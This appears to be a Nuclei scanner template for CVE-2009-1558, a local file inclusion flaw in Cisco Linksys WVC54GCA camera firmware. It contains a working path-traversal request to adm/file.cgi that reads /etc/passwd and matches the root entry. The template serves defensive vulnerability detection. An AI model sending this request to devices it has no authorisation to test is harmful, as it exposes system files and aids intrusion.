id: CVE-2009-1558

info:
  name: Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/32954
    - http://www.vupen.com/english/advisories/2009/1173
    - http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1558
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/50231
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2009-1558
    cwe-id: CWE-22
    epss-score: 0.28806
    epss-percentile: 0.97897
    cpe: cpe:2.3:h:cisco:wvc54gca:1.00r22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: wvc54gca
  tags: cve2009,cve,iot,linksys,camera,traversal,lfi,cisco,firmware,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b4dcc70f7ff99a0c110ec9a13a1f9c987a1a1cffe79d79a8f700e02bc82038d6022100db31f70e8fc2f841266a163d82b5797d6cbd43f4f5bdb5f12a7f5bac848b5515:922c64590222798bb761d5b6d8e72950